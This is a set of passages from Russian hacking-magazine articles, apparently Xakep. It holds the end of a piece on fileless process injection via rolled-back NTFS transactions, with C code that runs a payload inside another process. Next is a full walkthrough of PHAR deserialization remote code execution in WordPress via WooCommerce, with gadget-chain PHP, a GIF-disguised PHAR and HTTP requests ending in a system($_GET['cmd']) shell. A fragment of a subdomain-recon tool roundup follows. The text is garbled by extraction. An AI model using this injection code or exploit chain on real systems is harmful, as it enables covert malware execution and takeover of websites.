ция, которую мы соз дали фун кци ей  .

SectionHandle
NtCreateSection

status = NtCreateProcessEx(&h_proc,
       GENERIC_ALL,
       NULL,
       GetCurrentProcess(),
       PS_INHERIT_HANDLES,
       hSection_obj,
       NULL,
       NULL,
       FALSE);
if (!NT_SUCCESS(status))
   return ‐1;

Тут  магия  закан чива ется  и  начина ется  рутина.  Если  ты  ког да‐нибудь  писал
про цеду ру запус ка про цес сов из памяти при помощи  , то
будет  лег ко.  Сна чала  запол ним    и  запишем
эти дан ные в наш про цесс.

NtCreateProcessEx
RTL_USER_PROCESS_PARAMETERS

UNICODE_STRING  victim_path;
PRTL_USER_PROCESS_PARAMETERS proc_parameters = 0;
status = RtlCreateProcessParametersEx(&proc_parameters,
       &victim_path,
       NULL,
       NULL,
       &victim_path,
       NULL,
       NULL,
       NULL,
       NULL,
       NULL,
       RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status))
   return ‐1;
LPVOID r_proc_parameters;
r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters,
       (ULONGLONG)proc_parameters & 0xffff + proc_parameters‐>Enviro
nmentSize + proc_parameters‐>MaximumLength,
       MEM_COMMIT | MEM_RESERVE,
       PAGE_READWRITE);
if (!r_proc_parameters)
   return ‐1;
status = WriteProcessMemory(h_proc,
       proc_parameters,
       proc_parameters,
       proc_parameters‐>EnvironmentSize + proc_parameters‐>MaximumLength,
       NULL);
if (!NT_SUCCESS(status))
   return ‐1;

Да лее так же, при помощи  , нас тра иваем PEB.WriteProcessMemory

PROCESS_BASIC_INFORMATION pb_info;
status = NtQueryInformationProcess(
       h_proc,
       ProcessBasicInformation,
       &pb_info,
       sizeof(pb_info),
       0);
if (!NT_SUCCESS(status))
   return ‐1;
PEB *peb = pb_info.PebBaseAddress;
status = WriteProcessMemory(h_proc,
       &peb‐>ProcessParameters,
       &proc_parameters,
       sizeof(LPVOID),
       NULL);
if (!NT_SUCCESS(status))
   return ‐1;

И пос ледний, завер шающий штрих — запуск тре да про цес са. Для это го нуж‐ 
но узнать базовый адрес заг рузки модуля и начало кода в выделен ном нами
буфере. Код стан дар тный, упро щен ный.

PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buf;
PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(buf + dos_header‐>
e_lfanew);
ULONGLONG ep_proc = nt_header‐>OptionalHeader.AddressOfEntryPoint;
GetSystemInfo(&sys_info);
LPVOID base_addr = 0;
while (p_memory < sys_info.lpMaximumApplicationAddress) {
   VirtualQueryEx(h_proc,
           p_memory,
           &mem_basic_info,
           sizeof(MEMORY_BASIC_INFORMATION));
   GetMappedFileName(h_proc,
           mem_basic_info.BaseAddress,
           mod_name,
           MAX_PATH);
   if (strstr(mod_name, argv[1]))
       base_addr = mem_basic_info.BaseAddress;
   p_memory = (LPVOID)((ULONGLONG)mem_basic_info.BaseAddress + (ULONGLONG)
mem_basic_info.RegionSize);
}
ep_proc += (ULONGLONG)base_addr;

И запус каем сам поток:

HANDLE hThread;
status = NtCreateThreadEx(&hThread,
       GENERIC_ALL,
       NULL,
       h_proc,
       (LPTHREAD_START_ROUTINE)ep_proc,
       NULL,
       FALSE,
       0,
       0,
       0,
       NULL);
if (!NT_SUCCESS(status))
   return ‐1;

Вот и все. С это го момен та наш код начина ет работать под прик рыти ем дру‐ 
гого про цес са. Не забыва ем сде лать рол лбэк тран закции:

if (!RollbackTransaction(hTrans)) return ‐1;

ЗАКЛЮЧЕНИЕ
Как  видишь,  ничего  слож ного  в  этой  новой  ата ке  нет.  Из  бонусов —  ата ка
получа ется  бес фай ловой,  весь  код  сущес тву ет  толь ко  в  памяти,  потому  что
мы не завер шаем тран закцию NTFS, а отка тыва ем все изме нения.

По доб ный метод внед рения нес ложно обна ружить — нуж но прос то срав‐ 
нить код в памяти и на жес тком дис ке. Кро ме того, некото рые NTAPI, исполь‐ 
зван ные  в  статье,  име ют  высокий  рей тинг  у  эвристи ков  анти виру сов  (нап‐ 
ример, та же  ). Подоз рения у анти виру сов может выз вать
и сам факт исполь зования ред ких фун кций WinAPI, которые отве чают за тран‐ 
закции  NTFS,  осо бен но  в  све те  того,  что  в  Microsoft  не  рекомен дуют  их
исполь зовать. Конеч но, это не озна чает, что эвристи ка обя затель но сра бота‐ 
ет,  но  точ но  зас тавит  прис мотреть ся  к  тво ему  фай лу  с  силь ной  пред взя‐ 
тостью.

NtCreateThreadEx

За мечу, что при веден ный мной код — это кон цепт, который еще улуч шать
и улуч шать. Нап ример, мож но исполь зовать мап пинг для выделе ния буферов,
мож но зашиф ровать динами чес кое получе ние фун кций и так далее.
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ВЗЛОМ

В этой  статье мы  погово рим об осо бен ностях  уяз вимос тей
десери али зации дан ных в PHP, при чем не прос тых, а реали‐ 
зуемых при помощи фай лов архи вов PHP — PHAR. Эта тех‐ 
ника  ата ки  может  исполь зовать  безобид ные,  казалось  бы,
фун кции  как  опас ные  ору дия  экс плу ата ции.  И  прев ратить,
нап ример, SSRF в выпол нение про изволь ного кода.

Прис таль ное вни мание эта ата ка прив лекла сов сем недав но, поэто му сущес‐ 
тву ет  огромное  количес тво  потен циаль но  уяз вимых  при ложе ний.  Что  каса‐ 
ется  уяз вимос ти  в WordPress,  то  о  ней  раз работ чикам  сооб щили  аж  в фев‐ 
рале 2017 года, но до сих пор никако го фик са они не выпус тили.

ПРЕДЫСТОРИЯ АТАКИ
О  воз можнос ти  такой  ата ки  начали  мно го  говорить  пос ле    Сэма
Томаса (Sam Thomas) из Secarma на недав но про шед шем Black Hat USA 2018.
Исто рию под хва тили СМИ, и понес лось.

док лада

Хо тя  пер вые  зво ноч ки  мож но  было  заметить  еще  в  баг тре кере  PHP
в 2015 году. Тог да был соз дан  , в котором опи сыва лась проб лема чте‐ 
ния памяти за пре дела ми выделен ного буфера (buffer over‐read) при десери‐ 
али зации метадан ных архи ва PHAR.

ти кет

По мимо  это го,  в  2017  году  на  HITCON  CTF  Quals  в  тас ке  извес тно го
безопас ника    под  наз вани ем  Baby^H  Master  PHP  2017  одним
из пун ктов пра виль ного решения зна чилась экс плу ата ция этой осо бен ности
поведе ния PHP при работе с архи вами PHAR. Под робнее об этом ты можешь
про читать  в      на  форуме  RDot.  Там  же  ты  най‐ 
дешь все сопутс тву ющие ссыл ки. Доволь но инте рес но, рекомен дую.

Orange  Tsai

пос те Ома ра  beched  Гани ева

Итак, сама идея не нова, а лишь недав но была рас кру чена и исполь зована
для про веде ния атак на реаль но сущес тву ющие при ложе ния. Приш ло вре мя
пощупать все сво ими руками!

СТЕНД
Нет ничего про ще, чем стенд с PHP. Что бы не замора чивать ся, мож но взять
из репози тория Docker  любой  кон тей нер при ложе ния,  написан ного на  этом
язы ке. Мы пла ниру ем ата ковать WordPress, так что его и возь мем.

$ docker run ‐it ‐‐rm ‐p80:80 ‐‐name=wprce ‐‐hostname=wprce debian /
bin/bash

Пос ле запус ка кон тей нера уста нав лива ем нуж ные ути литы.

$ apt‐get update && apt‐get install ‐y mysql‐server apache2 php php7.
0‐mysqli php7.0‐xml nano wget

За тем ска чива ем нуж ную вер сию WordPress. Фик са на дан ный момент до сих
пор нет, так что мож но ска чивать любую.

$ cd /tmp && wget https://wordpress.org/wordpress‐4.9.8.tar.gz
$ tar xzf wordpress‐4.9.8.tar.gz
$ rm ‐rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown ‐R www‐data:www‐data /var/www/html/

За пус каем необ ходимые сер висы и соз даем юзе ра и базу дан ных.

$ service mysql start && service apache2 start
$ mysql ‐u root ‐e "CREATE DATABASE wprce; GRANT ALL PRIVILEGES ON *.
* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Ус танов ка WordPress на стен де

Ос талось толь ко уста новить рас ширение Woocommerce, соз дать поль зовате‐ 
ля с пра вами авто ра, и стенд готов к экспе римен там.

НЕМНОГО О PHAR
PHAR — это PHP Archive, спе циаль но сфор мирован ный архив, который может
быть  обра ботан  и  исполнен  интер пре тато ром  PHP.  За  это  отве чает  одно‐ 
имен ный модуль PHAR, который вхо дит в стан дар тную пос тавку PHP начиная
с  вер сии  5.3.  Архи вы PHAR были  вве дены  как  удоб ный  спо соб  груп пиров ки
и дос тавки фай лов PHP. Мож но упа ковать целое при ложе ние и все еще иметь
воз можность  запус тить  его  пря мо  из  это го  фай ла.  При  этом  его  не  нуж но
даже рас паковы вать на диск. Так, нап ример, пос тавля ется менед жер модулей
PEAR или всем извес тный  .composer

Composer пос тавля ется как еди ный файл PHAR

Для соз дания фай лов PHAR мож но исполь зовать сам интер пре татор PHP.

create-phar.php
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';

Что бы  иметь  воз можность  соз давать  архи вы,  нуж но  запус тить  репози торий
с отклю чен ной нас трой кой  .phar.readonly

$ php ‐dphar.readonly=0 create‐phar.php

Соз дание тес тового фай ла PHAR

По дефол ту сжа тие не исполь зует ся.
Ес ли мы попыта емся выпол нить получен ный файл, то интер пре татор вер‐ 

нет ошиб ку.

По пыт ка выпол нить соз данный тес товый файл PHAR номер раз

При прос том обра щении к фай лу модуль пыта ется про читать  . Так
как  это го  фай ла  в  нашем  архи ве  нет,  воз ника ет  ошиб ка.  Если  мы  нем ного
допол ним  тес товый  скрипт,  то  получим  архив,  который  будет  отра баты вать
при пря мом обра щении к нему.

index.php

create-phar.php
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';
5: $phar["index.php"] = '<?php echo("Hello from index!");';

По пыт ка выпол нить соз данный тес товый файл PHAR номер два

Лю бые  архи вы  PHAR  оди нако во  лег ко  вызыва ются  как  непос редс твен но
из коман дной стро ки, так и через веб‐сер вер. Модуль реали зует эту фун кцию
с помощью потоков. Что бы вызывать какие‐то кон крет ные скрип ты из кон тей‐ 
нера, сущес тву ет врап пер  .phar://

exec-internal.php
1: <?php
2: include('phar://test.phar/helloworld.php');

Ре зуль татом выпол нения будет стро ка  .Hello World!
Что каса ется фор мата фай ла,  то его опи сание мож но най ти в офи циаль‐ 

ной  ,  в  том чис ле и на рус ском. Любой ува жающий себя файл
PHAR вклю чает в себя заг лушку, манифест, содер жимое и под пись.

до кумен тации

Па ра  слов  о  заг лушке  (stub).  Она,  как  пра вило,  содер жит  заг рузчик,
который выпол няет ся при пря мом запус ке архи ва или ког да его под клю чают
через   без ука зания кон крет ного фай ла внут ри.include

По дефол ту там находит ся обыч ный код на PHP, который пос ле нес коль ких
манипу ляций инклу дит  . Но ник то не меша ет нам ука зать собс твен‐ 
ный лоадер. Это мож но сде лать, исполь зуя метод  . В качес тве
его парамет ра ука зыва ем код.

index.php
Phar::setStub()

Пос ледней струк турой в заг лушке всег да дол жна идти 
. То есть минималь но воз можный код выг лядит так:

__HALT_COMPILER()
;

<?php __HALT_COMPILER();

За пом ним, так как это при годит ся нам чуть даль ше.
Те перь нас инте ресу ет манифест, который содер жит клю чевую информа‐ 

цию о  том,  что  вклю чено  в  архив PHAR.  Его  струк тура  выг лядит  сле дующим
обра зом.

Струк тура манифес та PHAR‐архи ва

Об рати вни мание на раз дел метадан ных, они хра нят ся в фор мате 
и  могут  быть  как  гло баль ными,  так  и  при вязан ными  к  кон крет ному  фай лу.
Уста новить  гло баль ные  метадан ные  мож но  при  помощи  метода 

. В качес тве аргу мен та мож но передать любую перемен ную PHP.

serialize

Phar::set‐
Metadata

test-metadata.php
1: <?php
2: @unlink('test.phar');
3: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
4: $p['file.php'] = '<?php echo("Hello World!");';
5: $p‐>setMetadata(['anything' => 'you_want']);
6: var_dump($p‐>getMetadata());

Ра зуме ется, мож но переда вать и экзем пля ры клас сов, бла го фор мат пре дус‐ 
матри вает  их  сох ранение. Давай  поп робу ем  сох ранить  в  качес тве метадан‐ 
ных класс, который содер жит дес трук тор.

01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p‐>setMetadata(new Destructor());

Вос поль зуем ся  кас томной  заг лушкой,  что бы  иметь  воз можность  выпол нить
файл PHAR без оши бок.

test-metadata-class-stub.php
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p‐>setMetadata(new Destructor());
11: $p‐>setStub('<?php __HALT_COMPILER();');

Соз дание архи ва PHAR с объ ектом в качес тве метадан ных

Заг лушка может содер жать любой текст, в  том чис ле и не код на PHP. Глав‐ 
ное,  что бы в  нем при сутс тво вала  ука зан ная  выше  конс трук ция. А бла года ря
тому, что stub рас полага ется в начале фай ла, мож но обхо дить вся чес кие про‐ 
вер ки и «прев ращать» архи вы PHAR в фай лы любого типа.

test-metadata-class-gif-stub.php
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04:     function __destruct() {
05:         echo "It's alive!";
06:     }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p‐>setMetadata(new Destructor());
10: $p‐>setStub('GIF89a<?php __HALT_COMPILER();');

Соз дание архи ва PHAR с заголов ком GIF в качес тве заг лушки

Те перь,  если  прос то  поп робовать  выз вать  получен ный  архив  (нап ример,
через  ), код внут ри дес трук тора отра бота ет. Конеч но же,
на момент вызова класс дол жен быть про ини циали зиро ван.

file_get_contents

call-phar.php
1: <?php
2: class Destructor {
3:     function __destruct() {
4:         echo "It's alive!";
5:     }
6: }
7: file_get_contents("phar://test.phar");

Вы пол нение кода дес трук тора при чте нии архи ва PHAR

То  есть  при  наличии  метадан ных  выпол няет ся  их  десери али зация,  что  под‐ 
твержда ют   PHP.сор цы

/php-src/master/ext/phar/phar.c
607: int phar_parse_metadata(char **buffer, zval *metadata, uint32_t 
zip_metadata_len) /* {{{ */
608: {
609:    php_unserialize_data_t var_hash;
610:
611:    if (zip_metadata_len) {
...
616:        PHP_VAR_UNSERIALIZE_INIT(var_hash);
617:
618:        if (!php_var_unserialize(metadata, &p, p + zip_me
tadata_len, &var_hash)) {

Бла года ря  такому поведе нию мы име ем воз можность про водить  ата ки  типа
«внед рение объ ектов PHP» (PHP Object Injection). При чем такое же поведе ние
наб люда ется при работе сов сем безобид ных на пер вый взгляд фун кций, вро‐ 
де  .is_file

Вы пол нение кода из дес трук тора при дос тупе к архи ву PHAR при помощи
is_file

В общем, подой дет боль шинс тво 
и некото рые дру гие, работа ющие с потока ми. Вот спи сок наибо лее инте рес‐ 
ных:

фун кций для работы с фай ловой сис темой

file•
file_exists•
file_get_contents•
filesize•
fopen•
getimagesize•
is_dir•
is_file•
is_readable•
is_writable•
stat•

К  сожале нию,  врап пер  PHAR  не  поз воля ет  под гру жать  фай лы  с  уда лен ных
машин, но зато это отлично работа ет даже в тех кон фигура циях, где парамет‐ 
ры   и   отклю чены.allow_url_fopen allow_url_include

Те перь,  ког да мы  зна ем потен циаль ный  век тор  ата ки, мож но  перехо дить
от син тетичес ких при меров к реаль ным.

Продолжение статьи →
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ДЕСЕРИАЛИЗАЦИИ В PHP НА ПРИМЕРЕ
УЯЗВИМОСТИ В WORDPRESS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

RCE В WORDPRESS ЧЕРЕЗ WOOCOMMERCE
Экс плу ата ция  уяз вимос тей  типа PHP Object  Injection  уже  неод нократ но  раз‐ 
биралась, в том чис ле и в моей   об уяз вимос ти в Processmaker. Вкрат‐ 
це: нам нуж но най ти цепоч ку гад жетов, то есть клас сов, в магичес ких методах
( ,  ,    и  подоб ных),  в  которых  про исхо дит
что‐нибудь  инте рес ное.  Нап ример,  при  десери али зации  клас са  ниже  мы
смо жем записать дан ные в любой файл.

статье

__destruct __wakeup __toString

class DumbWakeUp {
...
   function __wakeup() {
       file_put_contents($this‐>file, $this‐>data);
   }
}

Но  это  все  абс трак ции,  в  реаль ных  при ложе ниях  порой  слож но  най ти
что‐нибудь более‐менее полез ное с точ ки зре ния воз можной экс плу ата ции.

В вышед ших до нояб ря 2017‐го вер сиях WordPress сущес тво вала цепоч ка,
которая начина лась с одно го метода   в клас се   и закан‐ 
чивалась  вызовом    из 

  с  кон тро лиру емы ми  парамет рами.  Но  в  текущих  вер сиях  такой
рос коши  в  ядре  пока  не  наш лось.  Авто лоадер  клас сов  WordPress  тоже
не  исполь зует,  поэто му  сущес тву ет  воз можность  исполь зовать  толь ко  те
клас сы, которые были заг ружены на момент десери али зации. Вви ду сло жив‐ 
шихся обсто ятель ств нам при дет ся обра тить ся к пла гинам.

__toString WP_Theme
create_function Translations::make_plural_for‐

m_function

Woocommerce  —  популяр ней шее  рас ширение  для  соз дания  магази на
на осно ве WordPress. В нем и обна ружи лась воз можность экс плу ата ции этой
уяз вимос ти, которая при водит к выпол нению про изволь ного кода.

Взгля нем  на  метод    клас са 
 из ядра WordPress.

current Requests_Utility_FilteredItera‐
tor

/wordpress-4.9.8/wp-includes/Requests/Utility/FilteredIterator.php
15: class Requests_Utility_FilteredIterator extends ArrayIterator {
16:     /**
17:      * Callback to run as a filter
18:      *
19:      * @var callable
20:      */
21:     protected $callback;
...
40:     public function current() {
41:         $value = parent::current();
42:         $value = call_user_func($this‐>callback, $value);
43:         return $value;
44:     }

Он выпол няет ся при дос тупе к текуще му эле мен ту мас сива, нап ример при их
перебо ре через  .foreach

test-arrayiterator.php
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     public function __construct($data) {
04:         parent::__construct($data);
05:     }
06:     public function current() {
07:         $value = parent::current();
08:         var_dump($value);
09:         return $value;
10:     }
11: }
12: $o = new Requests_Utility_FilteredIterator(['random', 'array', '
elements']);
13: foreach ($o as $value) {
14: }

Вы зов метода current при перебо ре через foreach экзем пля ра клас са
ArrayIterator

Ес ли  теперь  най ти  такой  класс,  который  в  одном  из  «вол шебных»  методов
выпол няет  перебор  кон тро лиру емой  юзе ром  перемен ной  через  foreach,  то
мож но  выпол нить  про изволь ный  код.  И  такой  класс,  как  ты  понима ешь,
нашел ся в  .Woocommerce

/woocommerce-3.4.4/includes/log-handlers/class-wc-log-handler-
file.php
19: class WC_Log_Handler_File extends WC_Log_Handler {
...
26:     protected $handles = array();
...
65:     public function __destruct() {
66:         foreach ( $this‐>handles as $handle ) {
67:             if ( is_resource( $handle ) ) {
68:                 fclose( $handle ); // @codingStandardsIgnoreLine.
69:             }
70:         }
71:     }

Быс трень ко  накида ем скрипт,  который сге нери рует  тре буемую цепоч ку  гад‐ 
жетов для выпол нения RCE.

woocommerce-rce-gadget.php
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this‐>callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this‐>handles = new Requests_Utility_FilteredIterator(
array('uname ‐a'), 'system');
13:     }
14: }
15: $o = new WC_Log_Handler_File();
16: var_dump(serialize($o));

Сге нери рован ный гад жет для экс плу ата ции WordPress через
Woocommerce

В качес тве пей лоада я исполь зовал  . Теперь его нуж но
как‐то  дос тавить  на  целевую  сис тему.  Отлично  подой дет  менед жер  меди‐ 
афай лов в WP. Кла дем наш  гад жет  в метадан ные архи ва и  в  качес тве ста ба
ука зыва ем стан дар тный заголо вок GIF.

system('uname ‐a')

wc-rce-gadget-to-phar.php
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this‐>callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this‐>handles = new Requests_Utility_FilteredIterator(
array('uname ‐a'), 'system');
13:     }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p‐>setMetadata(new WC_Log_Handler_File());
18: $p‐>setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';

Соз даем PHAR с полез ной наг рузкой и заголов ком GIF

До бав ляем как минимум один файл в архив (строч ка 19). Некото рые фун кции
чувс тви тель ны к это му, и у меня никак не хотел отра баты вать спло ит, пока я
не  добавил  в  мой  PHAR  пус той  файл.  Меня ем  рас ширение  фай ла  с  .phar
на  .gif и заг ружа ем фай лы в WordPress. Это мож но сде лать как через панель
управле ния, так и через XML‐RPC. По дефол ту заг рузка дос тупна толь ко поль‐ 
зовате лям с пра вами авто ра и выше.

Заг рузка PHAR в WordPress под видом гиф ки

За поми наем ID и путь до заг ружен ного фай ла. Даль ше нуж но каким‐то обра‐ 
зом  выз вать файл  через  врап пер  phar.  Пос мотрим  на фун кцию 

.
wp_get_at‐

tachment_thumb_file

/wordpress-4.9.8/wp-includes/post.php
5334: function wp_get_attachment_thumb_file( $post_id = 0 ) {
5335:   $post_id = (int) $post_id;
5336:   if ( !$post = get_post( $post_id ) )
5337:       return false;
5338:   if ( !is_array( $imagedata = wp_get_attachment_metadata( $
post‐>ID ) ) )
5339:       return false;
5340:
5341:   $file = get_attached_file( $post‐>ID );
5342:
5343:   if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace
(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbf
ile) ) {

Она  дос тупна  через  интерфейс  XML‐RPC  при  вызове  метода 
.

wp.getMedi‐
aItem

POST /xmlrpc.php HTTP/1.1
Host: wprce.vh
Content‐Type: text/xml
Connection: close

<?xml version="1.0" encoding="utf‐8"?>
<methodCall>
 <methodName>wp.getMediaItem</methodName>
 <params>
   <param>
     <value>
       <int>1</int>
     </value>
   </param>
   <param>
     <value>
       <string>author</string>
     </value>
   </param>
   <param>
     <value>
       <string>author</string>
     </value>
   </param>
   <param>
     <value>
       <int>10</int>
     </value>
   </param>
 </params>

</methodCall>

Зап рос информа ции о заг ружен ном фай ле через интерфейс XML‐RPC
с помощью метода wp.getMediaItem

Здесь  перемен ная    попада ет  в  ,  которая  понима ет
потоки.  Помимо  это го,    зависит  от 
и  .  Если  резуль тат  работы    будет  равен  самой
перемен ной  ,  тог да    при мет  зна чение 

, а ее мы можем пол ностью кон тро лиро вать при помощи зап роса.

$thumbfile file_exists
$thumbfile $imagedata['thumb']

$file basename($file)
$file $thumbfile $imagedata[

'thumb']
Пос мотрим, отку да рас тут ноги перемен ной  .$file

/wordpress-4.9.8/wp-includes/post.php
331: function get_attached_file( $attachment_id, $unfiltered = false 
) {
332:    $file = get_post_meta( $attachment_id, '_wp_attached_file', 
true );
333:
334:    // If the file is relative, prepend upload dir
335:    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^
.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false ===
$uploads['error'] ) ) {

336:        $file = $uploads['basedir'] . "/$file";
337:    }

Она  берет ся  из  метадан ных  заг ружен ного  фай ла,  из  поля 
,  которое  мы  так же  можем  изме нять  при  помощи  зап роса  на  редак‐ 

тирова ние атта ча. Для это го нужен валид ный CSRF‐токен  , который
мож но взять из менед жера фай лов WordPress. Инте ресу ющий нас параметр
называ ется  .

_wp_attached_‐
file

_wpnonce

file

POST /wp‐admin/post.php HTTP/1.1
Host: wprce.vh
Content‐Type: application/x‐www‐form‐urlencoded
Cookie: cookies
_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=ANYTHING

Зап рос на редак тирова ние поля _wp_attached_file в метадан ных атта ча
WordPress

Ин форма ция об атта че пос ле изме нения _wp_attached_file

Взгля ни на про вер ку  . Ее мож но обой‐ 
ти,  исполь зуя  абсо лют ные  пути  в  сти ле  Windows.  Если  мы  ука жем 
в  качес тве  парамет ра  ,  то  усло вие  не  будет  выпол нено  и  перемен ная
запишет ся  в  базу  как  есть,  без  пре фик са  абсо лют ного  пути  до  дирек тории
uploads.

! preg_match( '|^.:\\\|', $file )
A:\A

file

POST /wp‐admin/post.php HTTP/1.1
Host: wprce.vh
Content‐Type: application/x‐www‐form‐urlencoded
Cookie: cookies
_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=A:\A

Ра зуме ется,  это  сра бота ет  толь ко  в  Unix‐подоб ных  сис темах,  в  Windows
поведе ние будет кор рек тным.

Раз личное поведе ние basename в Linux и Windows

Даль ше  нам  нуж но  обно вить  поле  thumbnail.  Это  дела ется  с  помощью  сле‐ 
дующе го зап роса.

POST /wp‐admin/post.php HTTP/1.1
Host: wprce.vh
Content‐Type: application/x‐www‐form‐urlencoded
Cookie: cookie
_wpnonce=ffffffff&action=editattachment&post_type=attachment&
post_ID=10&thumb=TEST

Я  добавил  отладчик  в  фун кцию    для  прос‐ 
мотра инте ресу ющих дан ных.

wp_get_attachment_thumb_file

Сос тояние перемен ных пос ле изме нения метадан ных заг ружен ного
фай ла

Ура‐ура.  Теперь  то,  что  мы  переда дим  в  парамет ре  ,  будет  попадать
в фун кцию  . Мы на финиш ной пря мой. Переда ем путь до нашей
гиф ки с обер ткой PHAR.

thumb
file_exists

POST /wp‐admin/post.php HTTP/1.1
Host: wprce.vh
Content‐Type: application/x‐www‐form‐urlencoded
Cookie: cookie
_wpnonce=ffffffff&action=editattachment&post_type=attachment&
post_ID=10&thumb=phar://./wp‐content/uploads/2018/08/rce.gif

Вы пол нение про изволь ного кода в WordPress с помощью архи ва PHAR

Ву аля! Видим резуль тат  выпол нения  .  А  если  слег ка  изме нить  код
экс пло ита, то мож но выпол нять код нем ного про ще.

uname ‐a

01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03:     protected $callback;
04:     public function __construct($data, $callback) {
05:         parent::__construct($data);
06:         $this‐>callback = $callback;
07:     }
08: }
09: class WC_Log_Handler_File {
10:     protected $handles;
11:     public function __construct() {
12:         $this‐>handles = new Requests_Utility_FilteredIterator(['
system($_GET["cmd"])'], 'assert');
13:     }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p‐>setMetadata(new WC_Log_Handler_File());
18: $p‐>setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';

RCE в WordPress

Вот так мож но про экс плу ати ровать уяз вимость.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Здесь  я  рас смот рел  толь ко  одну  ата ку,  которая  касалась  CMS  WordPress.
В док ладе Сэма Томаса ты можешь най ти детали о еще двух уяз вимых при‐ 
ложе ниях.  Пер вое  из  них — CMS  с  откры тым  исходным  кодом  .  Вто‐ 
рое  —  биб лиоте ка  ,  которая  пов семес тно  исполь зует ся  для  фор‐ 
мирова ния  PDF‐докумен тов  средс тва ми  PHP.  Рас смот рена  экс плу ата ция
на осно ве CMS  .

TYPO3
TCPDF

Contao
В  обо их  слу чаях  при меня ется  похожий  век тор  ата ки  —  заг рузка  фай ла

через менед жер и пос леду ющий его  вызов  через SSRF. В  качес тве  гад жета
исполь зует ся цепоч ка, которая была сге нери рова на ути литой  . Тул за
написа на  авто ром  пре зен тации  и  край не  рекомен дует ся  к  исполь зованию.
Мож но дописать свои модули с гад жетами.

PHPGGC

Ду маю, что популя риза ция это го век тора в бли жай шее вре мя аук нется нам
инте рес ными  уяз вимос тями  во  мно гих  при ложе ниях  на  PHP.  Что  ж,  будем
ждать!

https://xakep.ru/2017/08/25/processmaker-php-vuln/
https://downloads.wordpress.org/plugin/woocommerce.3.4.4.zip
https://vimeo.com/288316810
https://typo3.org/
https://tcpdf.org/
https://contao.org/en/
https://github.com/s-n-t/phpggc
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ВЗЛОМ

В этом выпус ке новая под борка соф та для пен теста и ана лиза безопас ности.
Научим ся с ком фортом находить под домены, пот рясем баги WordPress, Dru‐
pal  и Magento,  поищем  уяз вимые  эндпой нты  в  API,  а  на  закус ку  пошарим ся
в чужих сли вах. Впе ред!

ОХОТИМСЯ НА СКРЫТЫЕ ПОДДОМЕНЫ

 • Ав тор:Michael Henriksen
 • Ссыл ка: Github

Не  надо  рас ска зывать,  зачем  может  понадо бить ся  искать  под домены.
Во вре мя рекона могут обна ружить ся dev‐сер веры,  забытые инстан сы, сер‐ 
висы для внут ренне го исполь зования и мно гое дру гое. Важ но, что, кро ме тех‐ 
ничес ких спо собов поис ка, есть и «архивные»: под домены с лег костью могут
зас ветить ся  в  каких‐нибудь  базах,  да  и  прос то  иметь  бла гоз вучные  име на
в духе   и  . Этим и вос поль зуем ся.billing.target.com help.target.com

Aquatone —  это  удоб ный  Ruby‐гем  для  поис ка  под доменов  из  откры тых
источни ков. Он содер жит в себе целых четыре полез ных ути литы:

;• aquatone­discover

;• aquatone­scan

;• aquatone­gather

.• aquatone­takeover

Ищем информа цию о доменах
Aquatone‐discover  про веря ет  базы  Wayback  Machine,  Netcraft,  HackerTarget
и мно гих дру гих на наличие записей о под доменах нашей цели. Кро ме откры‐ 
тых  баз,  она  может  обра щать ся  к  базам  сер висов  вро де  Shodan,  но  нуж но
пред варитель но ука зать API‐ключ. И вишен ка на тор те — те самые сло вар ные
домены.

Ищем под домены по всем базам и пыта емся резол вить по сло варю

Ска ниру ем живые сер висы на обна ружен ных под доменах
Вто рой  этап —  про верить  получен ные  живые  домены  на  пред мет  откры тых
пор тов.  В  этом  нам  поможет  aquatone‐scan:  счи тай  его  прос той  аль тер‐ 
нативой Nmap. Он про верит соб ранные под домены и выведет спи сок обна‐ 
ружен ных  откры тых  пор тов.  Через  клю чи    и    ты  смо жешь
ука зать пор ты для ска на (или один из шаб лонов) и количес тво потоков.

‐‐ports ‐‐threads

